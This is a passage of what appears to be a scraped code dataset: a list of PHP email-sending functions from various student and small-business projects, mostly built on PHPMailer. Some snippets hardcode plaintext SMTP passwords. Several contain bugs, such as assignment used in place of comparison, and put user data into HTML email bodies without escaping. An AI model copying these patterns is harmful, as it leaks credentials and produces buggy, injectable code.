$mail->addAttachment(\"uploads/Documentos/TermoResponsabilidade/\".\"apendiceC.pdf\");\n\n $nome = $formalizacao[0]->nomeAluno;\n $titulo = $formalizacao[0]->titulo;\n $telefone = $formalizacao[0]->telefone;\n $cpf = $formalizacao[0]->cpf;\n $menssagem = \"Confirme seus dados enviados neste e-mail.\";\n \n $data = date('d/m/Y');\n $hora = date('H:i:s');\n\n $mail->IsHTML(true);\n\n $mail->AddAddress($emailDestinatario, $nomeDestinatario);\n\n $mail->Subject = \"Arquivos referente a marcação de banca - TECWEBC\"; // assunto da mensagem\n $mail->Body = \"\n <!DOCTYPE html>\n <html lang='pt-br'>\n <head>\n <meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>\n <style> \n table {font-family: arial, sans-serif;border-collapse: collapse}td, th {text-align: left;padding: 8px;}tr:nth-child(even) {background-color: #dddddd;}\n </style>\n </head>\n <body style='margin: 20px 0'>\n <p>\n Preencha os documentos anexados neste e-mail e encaminhe até a direção.\n </p>\n <table>\n <tbody> \n <tr>\n <td colspan='2' style='text-align: center' >\n <img alt='' height='100' src='---------'>\n </td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Nome</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $nome . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Título</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $titulo . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Mensagem</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $menssagem . \"</td>\n </tr>\n </tbody>\n <tbody>\n <tr>\n <td>\n <p style='color: #737478;font-size: 12px'>Enviado às \" . $hora . \", \" . $data . \"</p>\n </td>\n </tr>\n </tbody>\n </table>\n </body>\n </html>\";\n $enviado = $mail->Send(); // enviando email\n\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n\n if ($enviado = 1) {\n// return \"1\";\n } else {\n// return \"0\";\n }\n \n break;\n case 3:\n echo \"outro processo 3\";\n break;\n }\n }", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \r\n\tglobal $error;\r\n\t$mail = new PHPMailer();\r\n\t$mail->IsSMTP();\t\t// Ativar SMTP\r\n\t$mail->SMTPDebug = 0;\t\t// Debugar: 1 = erros e mensagens, 2 = mensagens apenas\r\n\t$mail->SMTPAuth = true;\t\t// Autenticação ativada\r\n\t$mail->SMTPSecure = 'tls';\t// SSL REQUERIDO pelo GMail\r\n\t$mail->Host = 'smtp.ufop.br';\t// SMTP utilizado\r\n\t$mail->Port = 25; \t\t// A porta 587 deverá estar aberta em seu servidor\r\n\t$mail->Username = GUSER;\r\n\t$mail->Password = GPWD;\r\n\t$mail->SetFrom($de, $de_nome);\r\n\t$mail->Subject = $assunto;\r\n\t$mail->Body = $corpo;\r\n\t$mail->AddAddress($para);\r\n\tif(!$mail->Send()) {\r\n\t\t$error = 'Mail error: '.$mail->ErrorInfo; \r\n\t\treturn false;\r\n\t} else {\r\n\t\t$error = 'Mensagem enviada!';\r\n\t\treturn true;\r\n\t}\r\n}", "private function sendMail() {\n $BodyMail = new BodyMail();\n //$to = $this->_datPerson[email];\n $to = '[email protected]';\n\n $url = baseUri.\"linkCode?code=\".base64_encode($this->_code).\"&email=\".base64_encode($this->_datPerson[email]);\n\n $subject = \"DEV-Validación de Email\";\n $headers = 'MIME-Version: 1.0' . \"\\r\\n\";\n $headers .= 'Content-type: text/html; charset=UTF-8' . \"\\r\\n\";\n $headers .= 'From: Evaluacione Red UNOi <[email protected]>'.\"\\r\\n\";\n $headers .= 'Reply-To: NoReply <[email protected]>' . \"\\r\\n\";\n $headers .= 'Bcc: [email protected]' . \"\\r\\n\";\n $message = $BodyMail->run($this->_datPerson['name'], $this->_code, $url);\n mail($to, $subject, $message, $headers, '-f [email protected]');\n }", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \n\t\t\t\tglobal $error;\n\t\t\t\n\t\t\t\t$nome_completo = $Nome.\"\".$Sobrenome;\n\t\t\t\t$mail = new PHPMailer(true);\n\t\t\t\t$mail->CharSet = 'UTF-8';\n\t\t\t\t$phpmail->Body = utf8_decode($body);\n\t\t\t\t$mail->IsHTML(true);\n\t\t\t\t$mail->IsSMTP();\t\t// Ativar SMTP\n\t\t\t\t$mail->SMTPDebug = 0;\t\t// Debugar: 1 = erros e mensagens, 2 = mensagens apenas\n\t\t\t\t$mail->SMTPAuth = true;\t\t// Autenticação ativada\n\t\t\t\t$mail->SMTPSecure = 'tls';\t// SSL REQUERIDO pelo GMail\n\t\t\t\t$mail->Host = 'smtp.gmail.com';\t// SMTP utilizado\n\t\t\t\t$mail->Port = 587; \t\t// A porta 587 deverá estar aberta em seu servidor\n\t\t\t\t$mail->Username = GUSER;\n\t\t\t\t$mail->Password = GPWD;\n\t\t\t\t$mail->From = \"[email protected]\";\n\t\t\t\t$mail->FromName = \"Kepler\";\n\t\t\t\t$mail->Subject = $assunto;\n\t\t\t\t$mail->Body = $corpo;\n\t\t\t\t$mail->AddEmbeddedImage('imagens/logo.png', 'logoimg');\n\n\t\t\t\t$mail->Body = '\n\t\t\t\t\t\t\t\t\t<style type = \"text/css\">\n\t\t\t\t\t\t\t\t\t#mae{\n\t\t\t\t\t\t\t\t\t\tbackground-color: white;\n\t\t\t\t\t\t\t\t\t\twidth:700px;\n\t\t\t\t\t\t\t\t\t\theight:600px;\n\t\t\t\t\t\t\t\t\t\tborder-style: none;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t#topo{\n\t\t\t\t\t\t\t\t\t\tbackground-color: black;\n\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\theight: 72px;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t#corpo_email{\n\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\tmargin-left: 60px;\n\t\t\t\t\t\t\t\t\t\tmargin-top: 50px;\n\t\t\t\t\t\t\t\t\t\ttext-align: left;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t.botao{\n\t\t\t\t\t\t\t\t\t\tbackground-color: #4CAF50;\n\t\t\t\t\t\t\t\t\t\tborder: none;\n\t\t\t\t\t\t\t\t\t\tcolor: white;\n\t\t\t\t\t\t\t\t\t\tpadding: 15px 32px;\n\t\t\t\t\t\t\t\t\t\ttext-align: center;\n\t\t\t\t\t\t\t\t\t\ttext-decoration: none;\n\t\t\t\t\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\t\t\t\t\tfont-size: 16px;\n\t\t\t\t\t\t\t\t\t\tmargin: 4px 2px;\n\t\t\t\t\t\t\t\t\t\tcursor: pointer;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t#link{\n\t\t\t\t\t\t\t\t\t\tfloat: center;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t</style>\n\t\t\t\t\t\t\t\t<html lang = \"pt-br\">\n\t\t\t\t\t\t\t\t<head>\n\t\t\t\t\t\t\t\t\t<meta charset = \"utf-8\">\n\t\t\t\t\t\t\t\t</head>\n\t\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\talçfjkaslçdf\n\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t\t\t';\n\t\t\t\t$phpmail->Body = utf8_decode($body);\n\t\t\t\t$mail->AddAddress($para);\n\t\t\t\t$mail->Send();\t\t\t\n\t\t\t}", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \n\t\t\t\tglobal $error;\n\t\t\t\ttry{\n\t\t\t\t\trequire_once(\"PHPMailer/src/Exception.php\");\n\t\t\t\t\trequire_once(\"PHPMailer/src/PHPMailer.php\");\n\t\t\t\t\trequire_once(\"PHPMailer/src/SMTP.php\");\n\t\t\t\t\t$mail = new PHPMailer(true);\n\t\t\t\t\t$mail->CharSet = 'UTF-8';\n\t\t\t\t\t$phpmail->Body = utf8_decode($body);\n\t\t\t\t\t$mail->IsHTML(true);\n\t\t\t\t\t$mail->IsSMTP();\t\t// Ativar SMTP\n\t\t\t\t\t$mail->SMTPDebug = 0;\t\t// Debugar: 1 = erros e mensagens, 2 = mensagens apenas\n\t\t\t\t\t$mail->SMTPAuth = true;\t\t// Autenticação ativada\n\t\t\t\t\t$mail->SMTPSecure = 'tls';\t// SSL REQUERIDO pelo GMail\n\t\t\t\t\t$mail->Host = 'smtp.gmail.com';\t// SMTP utilizado\n\t\t\t\t\t$mail->Port = 587; \t\t// A porta 587 deverá estar aberta em seu servidor\n\t\t\t\t\t$mail->Username = GUSER;\n\t\t\t\t\t$mail->Password = GPWD;\n\t\t\t\t\t$mail->From = \"[email protected]\";\n\t\t\t\t\t$mail->FromName = \"Kepler\";\n\t\t\t\t\t$mail->Subject = $assunto;\n\t\t\t\t\t$mail->Body = $corpo;\n\t\t\t\t\t$mail->AddEmbeddedImage('imagens/logo.png', 'logoimg');\n\n\t\t\t\t\t$mail->Body = '\n\t\t\t\t\t\t\t\t\t\t<style type = \"text/css\">\n\t\t\t\t\t\t\t\t\t\t#mae{\n\t\t\t\t\t\t\t\t\t\t\tbackground-color: white;\n\t\t\t\t\t\t\t\t\t\t\twidth:700px;\n\t\t\t\t\t\t\t\t\t\t\theight:600px;\n\t\t\t\t\t\t\t\t\t\t\tborder-style: none;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t#topo{\n\t\t\t\t\t\t\t\t\t\t\tbackground-color: black;\n\t\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\t\theight: 72px;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t#corpo_email{\n\t\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\t\tmargin-left: 60px;\n\t\t\t\t\t\t\t\t\t\t\tmargin-top: 50px;\n\t\t\t\t\t\t\t\t\t\t\ttext-align: left;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t.botao{\n\t\t\t\t\t\t\t\t\t\t\tbackground-color: #4CAF50;\n\t\t\t\t\t\t\t\t\t\t\tborder: none;\n\t\t\t\t\t\t\t\t\t\t\tcolor: white;\n\t\t\t\t\t\t\t\t\t\t\tpadding: 15px 32px;\n\t\t\t\t\t\t\t\t\t\t\ttext-align: center;\n\t\t\t\t\t\t\t\t\t\t\ttext-decoration: none;\n\t\t\t\t\t\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\t\t\t\t\t\tfont-size: 16px;\n\t\t\t\t\t\t\t\t\t\t\tmargin: 4px 2px;\n\t\t\t\t\t\t\t\t\t\t\tcursor: pointer;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t#link{\n\t\t\t\t\t\t\t\t\t\t\tfloat: center;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t</style>\n\t\t\t\t\t\t\t\t\t<html lang = \"pt-br\">\n\t\t\t\t\t\t\t\t\t<head>\n\t\t\t\t\t\t\t\t\t\t<meta charset = \"utf-8\">\n\t\t\t\t\t\t\t\t\t</head>\n\t\t\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\t\t<div id = \"mae\"style = \"background-color: white;\n\t\t\t\t\t\t\t\t\t\t\t\twidth:700px;\n\t\t\t\t\t\t\t\t\t\t\t\theight:600px;\n\t\t\t\t\t\t\t\t\t\t\t\tborder-style: none;\">\n\t\t\t\t\t\t\t\t\t\t\t<div id = \"topo\" style = \"background-color: black;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\theight: 72px;\">\n\t\t\t\t\t\t\t\t\t\t\t\t<img src=\"cid:logoimg\" width=\"200px\" style = \"float : left\">\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t<div id = \"corpo_email\" style = \"width: 700px;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmargin-left: 60px;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmargin-top: 50px;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttext-align: left;\">\n\t\t\t\t\t\t\t\t\t\t\t\tOlá ' . $GLOBALS['nome'] . ' '.$GLOBALS['sobrenome'].'.\n\t\t\t\t\t\t\t\t\t\t\t\t<br><br>\n\t\t\t\t\t\t\t\t\t\t\t\tPara confirmar seu cadastro clique no botão abaixo:\n\t\t\t\t\t\t\t\t\t\t\t\t<br><br><center>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"http://200.145.153.172/kepler/Kepler/confirma_email_cadastro?codigo='. $GLOBALS['codigo'] .'\" class = \"botao\" \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tstyle = \"background-color: #4CAF50; border: none;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcolor: white; padding: 15px 32px; text-align: center;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttext-decoration: none; display: inline-block;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tfont-size: 16px; margin: 4px 2px; cursor: pointer; margin-left: -30px;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tConfirmar cadastro\n\t\t\t\t\t\t\t\t\t\t\t\t</a></center>\n\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\tCaso o botão não funcione, utilize o endereço abaixo para confirmar seu cadastro:\n\t\t\t\t\t\t\t\t\t\t\t\t<br><br><br><center>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"http://200.145.153.172/kepler/Kepler/confirma_email_cadastro.php?codigo='. $GLOBALS['codigo'] .'\" id = \"link\" style = \"float: center; margin-left: -20px;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\thttp://200.145.153.172/kepler/Kepler/confirma_email_cadastro.php?codigo='. $GLOBALS['codigo'] .'\n\t\t\t\t\t\t\t\t\t\t\t\t</a></center>\n\t\t\t\t\t\t\t\t\t\t\t\t<br><br>\n\t\t\t\t\t\t\t\t\t\t\t\tEquipe Kepler.\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t<div id = \"topo\" style = \"background-color: black;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\twidth: 700px;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\theight: 72px;\">\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t\t\t\t';\n\t\t\t\t\t$phpmail->Body = utf8_decode($body);\n\t\t\t\t\t$mail->AddAddress($para);\n\n\t\t\t\t\tif(!$mail->Send()) {\n\t\t\t\t\t\t$_SESSION['msg_email_retorna'] == \"Erro ao enviar o e-mail\";\n\t\t\t\t\t\t$erro3 = 1;\n\t\t\t\t\t\t//return false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$_SESSION['msg_email_retorna'] == \"E-mail enviado com sucesso\";\n\t\t\t\t\t\t//return true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (phpmailerException $e) {\n\t\t\t\t\t$_SESSION['msg_email_retorna'] == \"E-mail inserido não existe\";\n\t\t\t\t\t$erro3 = 1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}", "function send_smtp_email( $phpmailer )\n{\n $phpmailer->isSMTP();\n \n // La dirección del HOST del servidor de correo SMTP p.e. smtp.midominio.com\n $phpmailer->Host = \"your server smtp address\";\n \n // Uso autenticación por SMTP (true|false)\n $phpmailer->SMTPAuth = true;\n \n // Puerto SMTP - Suele ser el 25, 465 o 587\n $phpmailer->Port = \"587\";\n \n // Usuario de la cuenta de correo\n $phpmailer->Username = \"user name\";\n \n // Contraseña para la autenticación SMTP\n $phpmailer->Password = \"password\";\n \n // El tipo de encriptación que usamos al conectar - ssl (deprecated) o tls\n $phpmailer->SMTPSecure = \"tls\";\n \n $phpmailer->From = \"[email protected]\";\n $phpmailer->FromName = \"Tu nombre\";\n}", "function enviarEmail($email, $nombre, $asunto, $cuerpo)\n {\n\n require_once '../../login/PHPMailer/PHPMailerAutoload.php'; //lebreria phpmailer se usa para el funcionamiento del envio de correo\n\n $mail = new PHPMailer();\n $mail->isSMTP(); // protocolo de transferencia de correo\n $mail->SMTPAuth = true;\n $mail->SMTPSecure = 'ssl'; //habilita la encriptacion SSL\n $mail->Host = 'smtp.gmail.com'; // Servidor GMAIL\n $mail->Port = 465; //puerto\n\n $mail->Username = '[email protected]'; //correo emisor\n $mail->Password = 'lapizzeria2019'; //contraseña del correo del emisor\n\n $mail->setFrom('[email protected]', 'La Pizzeria'); //se establece quien envia el correo\n $mail->addAddress($email, $nombre); //email y nombre del receptor guardados en sus respectivas variables\n\n $mail->Subject = $asunto; //se configura cual es el asunto del correo\n $mail->Body = $cuerpo; //se configura cual es el cuerpo del correo\n $mail->IsHTML(true);\n\n if ($mail->send())\n return true;\n else\n return false;\n }", "abstract protected function _sendMail ( );", "public function sendMail()\n {\n $config = JFactory::getConfig();\n $mailer = JFactory::getMailer();\n $mailer->setSender($config->get('mailfrom'));\n\n\n\n $recipient = array('[email protected]', '[email protected]');\n $mailer->addRecipient($recipient);\n\n $mailer->setSubject('Registrazione supporting partner '.$config->get('sitename'));\n $mailer->isHTML(true);\n\n $body = '<h2>Dettagli account</h2>';\n $body .=\"Name: \" . $this->_parametri['name'] . \", <br>\";\n $body .=\"Username: \" . $this->_parametri['username'] . \", <br>\";\n $body .=\"Email: '\" . $this->_parametri['email'] . \", \";\n $body .=\"<br><br>\";\n\n $body .=\"<a \n href='http://framework.project-caress.eu/administrator/index.php?option=com_wizard' \n target='_blank'>Accedi al backend per abilitarlo</a>\";\n\n\n\n http://framework.project-caress.eu/administrator/index.php?option=com_wizard\n\n $mailer->setBody($body);\n\n if (!$mailer->Send())\n throw new RuntimeException('Error sending mail', E_USER_ERROR);\n\n }", "function enviar_correo($nombre, $email, $asunto, $contenido) {\n // cargamos las constantes por si acaso.\n require_once './lib/class.phpmailer.php';\n require_once './lib/constantes.php';\n\n if (!empty($email)) { // Enviamos el correo.\n \n // Creamos un objeto de la clase phpmailer.\n $correo = new PHPMailer();\n\n // Ahora configuramos ese objeto.\n $correo->IsSMTP(); // indicamos que enviamos por SMTP.\n $correo->SMTPAuth = true; // Nos autenticaremos en el servidor de correo.\n $correo->CharSet = 'UTF-8';\n $correo->Host = MAIL_SERVIDOR;\n $correo->Port = MAIL_PUERTO;\n\n // Si enviamos correo por GMAIL (chequeando el puerto),habilitamos\n // el protocolo SSL.\n if (MAIL_PUERTO == 465 || MAIL_PUERTO == 587) //usamos GMAIL\n $correo->SMTPSecure = 'ssl';\n\n // Si usais XAMPP, teneis que habilitar en \\xampp\\php\\php.ini \n // la siguiente extensión: \n // extension= php_openssl.dll\n // Datos del correo.\n $correo->Username = MAIL_PROPIO;\n $correo->Password = MAIL_PASSWORD;\n $correo->SetFrom($email, $nombre);\n $correo->AddReplyTo($email, $nombre);\n\n $correo->AddAddress(MAIL_PROPIO, MAIL_NOMBRE_PROPIO);\n $correo->Subject = $asunto;\n $correo->AltBody = 'Cambia de cliente de correo, lo que usas es una basura';\n $correo->MsgHTML($contenido);\n $correo->IsHTML(true);\n\n // Enviamos el correo.\n if ($correo->Send())\n echo 'Se ha enviado correctamente el correo.';\n else\n echo 'Error enviado correo: ' . $correo->ErrorInfo;\n } \n}", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \n\tglobal $error;\n\t$mail = new PHPMailer();\n\t$mail->IsSMTP();\t\t// Ativar SMTP\n\t$mail->SMTPDebug = 1;\t\t// Debugar: 1 = erros e mensagens, 2 = mensagens apenas\n\t$mail->SMTPAuth = true;\t\t// Autenticação ativada\n\t$mail->SMTPSecure = 'ssl';\t// SSL REQUERIDO pelo GMail\n\t$mail->Host = 'smtp.gmail.com';\t// SMTP utilizado\n\t$mail->Port = 465; \t\t// A porta 587 deverá estar aberta em seu servidor\n\t$mail->Username = GUSER;\n\t$mail->Password = GPWD;\n\t$mail->SetFrom($de, $de_nome);\n\t$mail->Subject = $assunto;\n\t$mail->Body = $corpo;\n\t$mail->AddAddress($para);\n\tif(!$mail->Send()) {\n\t\t$error = 'Mail error: '.$mail->ErrorInfo; \n\t\treturn false;\n\t} else {\n\t\t$error = 'Mensagem enviada!';\n\t\treturn true;\n\t}\n}", "function mailCreaPersona($datos=null){\t\t\t\n\t\t\t\t$mail = new PHPMailer;\n\t\t\t\t\t$mail->isSMTP();\n\t\t\t\t\t$mail->SMTPDebug = 0;\n\t\t\t\t\t$mail->Debugoutput = 'html';\n\t\t\t\t\t$mail->Host =@$this->config->item('anfitrion');\n\t\t\t\t\t$mail->Port =@$this->config->item('puerto');\n\t\t\t\t\t$mail->Username =@$this->config->item('usuario');\n\t\t\t\t\t$mail->Password =@$this->config->item('clave');\n\t\t\t\t\t$mail->SMTPAuth = true;\n\t\t\t\t\t$mail->SMTPSecure = 'ssl';\n\t\t\t\t\t$mail->setFrom(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t\t$mail->addReplyTo(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t$mail->addAddress($datos['correoUsuario']);\n\t\t\n\t\t\t\t$subject = utf8_decode('Correo Registro ANALISIS');\n\t\t\t\t$clavemsj= \"<B>Clave Temporal: </B>\".$datos['claveTemp'].\"<br><br>\";\n\t\t\t\t$pagina=\"<a style='color:#4257F9' href='\".@$this->config->item('enlaceSistema').\"'>\".\"www.madeinbarter.com</a>\".\"<br><br>\";\n\t\t\t\t\t$mensaje = \"<h3> Estimado/a, \n\t\t\t\t\t\t\t\t<br>Usuario<br><br>\n\t\t\t\t\t\t\t\tA continuaci&oacute;n termine el registro con los datos siguientes:<br> \n\t\t\t\t\t\t\t\t<br>E_mail: \".$datos['correoUsuario']\n\t\t\t\t\t\t\t\t.\"<br>\".$clavemsj.\"<br>\"\n\t\t\t\t\t\t\t\t.\"Referido Por: \".$datos['referido'].\"<br>\"\n\t\t\t\t\t\t\t\t.\"Ingresando en la siguiente p&aacute;gina: \".$pagina;\n\t\t\t\t\t$mail->Subject = $subject;\n\t\t\t\t\t$mail->msgHTML($mensaje);\t\n\t\t\t\t\tif (!$mail->send()) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\t}\t\t\n\t}", "public function emailToTrainer($trainerEmail, $trainerName, $clientEmail, $clientName, $clientAge, $clientMsg, $clientDeadline){\n $mail = new PHPMailer(false);\n\n // Define os dados do servidor e tipo de conexão\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->IsSMTP(); // Define que a mensagem será SMTP\n\n try {\n $mail->Host = 'mail.trainerlink.com.br'; // Endereço do servidor SMTP (Autenticação, utilize o host smtp.seudomínio.com.br)\n $mail->SMTPAuth = true; // Usar autenticação SMTP (obrigatório para smtp.seudomínio.com.br)\n $mail->Port = 587; // Usar 587 porta SMTP\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP (endereço de email)\n $mail->Password = 'alr2016automatico'; // Senha do servidor SMTP (senha do email usado)\n $mail->CharSet = 'utf-8';\n\n\n //Define o remetente\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= \n $mail->SetFrom('[email protected]', 'Contato Trainer Link'); //Seu e-mail\n $mail->AddReplyTo('[email protected]', 'Contato Trainer Link'); //Seu e-mail\n //TODO tem algum problema quando utiliza caracteres especiais no assunto do email\n $mail->Subject = 'Contato de cliente';//Assunto do e-mail\n\n\n //Define os destinatário(s)\n //=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->AddAddress($trainerEmail, $trainerName);\n\n //Campos abaixo são opcionais \n //=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n //$mail->AddCC('[email protected]', 'Destinatario'); // Copia\n //$mail->AddBCC('[email protected]', 'Destinatario2`'); // Cópia Oculta\n //$mail->AddAttachment('images/phpmailer.gif'); // Adicionar um anexo\n\n\n //Define o corpo do email\n $mail->MsgHTML($this->generateStringHtml($clientName, $clientEmail, $clientAge, $clientDeadline, $clientMsg)); \n\n ////Caso queira colocar o conteudo de um arquivo utilize o método abaixo ao invés da mensagem no corpo do e-mail.\n //$mail->MsgHTML(file_get_contents('arquivo.html'));\n\n $mail->Send();\n return 1;\n\n //caso apresente algum erro é apresentado abaixo com essa exceção.\n }catch (phpmailerException $e) {\n return 0;\n }\n\n }", "function sendMail($mahoso_mail,$tendichvu,$thoigiandangky,$arrayInfo) \r\n{\t\t\r\n\t\tif($arrayInfo['EMAIL'] != \"\"){\r\n\t\t\tinclude \"../../lib/UniMail/class.phpmailer.php\"; \r\n\t\t\tinclude \"../../lib/UniMail/class.smtp.php\"; \r\n\t\t\t$mail = new PHPMailer();\r\n\t\t\t$mail->IsSMTP(); \r\n\t\t\t$mail->IsHTML(true);\r\n\t\t\t$mail->Host\t\t\t= MAIL_HOST;\r\n\t\t\t$mail->Port\t\t\t= MAIL_PORT;\r\n\t\t\t$mail->Username\t\t= MAIL_USERNAME;\r\n\t\t\t$mail->Password\t\t= MAIL_PASSWORD;\r\n\t\t\t$mail->Mailer = \"smtp\";\r\n\t\t\t//$issecure = false;\r\n\t\t\t$mail->SMTPAuth\t\t= true; \r\n\t\t\t$mail->SMTPSecure\t= MAIL_PROTOCOL;\r\n\t\t\t$mail->From\t\t\t= MAIL_ADDRESS;\r\n\t\t\t$mail->FromName\t\t= \"tttt.danang.gov.vn\";\r\n\t\t\t$mail->AddAddress(base64_decode($arrayInfo['EMAIL']),base64_decode($arrayInfo['TENTOCHUCCANHAN']));\r\n\t\t\t\r\n\t\t\t$mail->AddReplyTo(MAIL_ADDRESS,\"SỞ THÔNG TIN VÀ TRUYỀN THÔNG - TP ĐÀ NẴNG\");\r\n\t\t\t$mail->Subject\t\t= 'Hồ sơ '.$mahoso_mail.'-'.MAIL_SUBJECT;\r\n\t\t\t/* THIET LAP CAC THONG TIN CHO NOI DUNG EMAIL*/\r\n\t\t\t$name_rc = base64_decode($arrayInfo['TENTOCHUCCANHAN']);\r\n\t\t\t$diachi = base64_decode($arrayInfo['DIACHI']);\r\n\t\t\t$tenloaihoso = '\"'.$tendichvu.'\" ';\r\n\t\t\t$fax = base64_decode($arrayInfo['FAX']);\r\n\t\t\t$coquan = base64_decode($arrayInfo['TENDONVI']);\r\n\t\t\t$dienthoaididong = base64_decode($arrayInfo['DIENTHOAIDIDONG']);\r\n\t\t\t$dienthoaicodinh = base64_decode($arrayInfo['DIENTHOAI']);\r\n\t\t\t$email_rc = base64_decode($arrayInfo['EMAIL']);\r\n\t\t\t$noidungkhac = base64_decode($arrayInfo['NOIDUNGKHAC']);\r\n\t\t\t/* THIET LAP THONG TIN DINH KEM */\r\n\t\t\t$listFileContent = \"\";\r\n\t\t\t$files = base64_decode($arrayInfo['FILELIST']);\r\n\t\t\tif($files != \"\"){\r\n\t\t\t$listFiles = split(\",\",$files);\r\n\t\t\t\t$stt = 0;\r\n\t\t\t\tfor($i = 0 ; $i<count($listFiles);$i++)\r\n\t\t\t\t{\r\n\t\t\t\t $stt++;\r\n\t\t\t\t if($listFiles[$i] != \"\"){\r\n\t\t\t\t $listFileContent .= \"<p class=MsoNormal style='text-align:justify'>\".$stt.\". Tập tin '\".$listFiles[$i].\"';</p>\";\r\n\t\t\t\t }\r\n\t\t\t\t}\r\n\t\t\t }else{\r\n\t\t\t\t$listFileContent = \"<p class=MsoNormal style='text-align:justify'> Không có;</p>\";\r\n\t\t\t }\r\n\t\t\t /*ĐƯA NỘI DUNG EMAIL VÀO*/\r\n\t\t\tinclude \"emailtemplate.php\"; \r\n\t\t\t$mail->Body\t\t\t= $email_body;\r\n\t\t\t$mail->AltBody\t\t= $tenloaihoso;\r\n\r\n\t\t\t$mail->IsHTML(true);\t\r\n\t\t\t$issend = $mail->Send();\r\n\t\t\tif($issend == \"\"){\r\n\t\t\tWriteLog('Send mail to '.base64_decode($arrayInfo['EMAIL']).' :',$mail->ErrorInfo);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function smtpmailer($para, $de, $de_nome, $assunto, $corpo) { \n\t\tglobal $error;\n\t\t$mail = new PHPMailer();\n\t\t$mail->IsSMTP();\t\t// Ativar SMTP\n\t\t$mail->SMTPDebug = 1;\t\t// Debugar: 1 = erros e mensagens, 2 = mensagens apenas\n\t\t$mail->SMTPAuth = true;\t\t// Autenticação ativada\n\t\t$mail->SMTPSecure = 'ssl';\t// SSL REQUERIDO pelo GMail\n\t\t$mail->Host = 'smtp.gmail.com';\t// SMTP utilizado\n\t\t$mail->Port = 465; \t\t// A porta 587 deverá estar aberta em seu servidor\n\t\t$mail->Username = 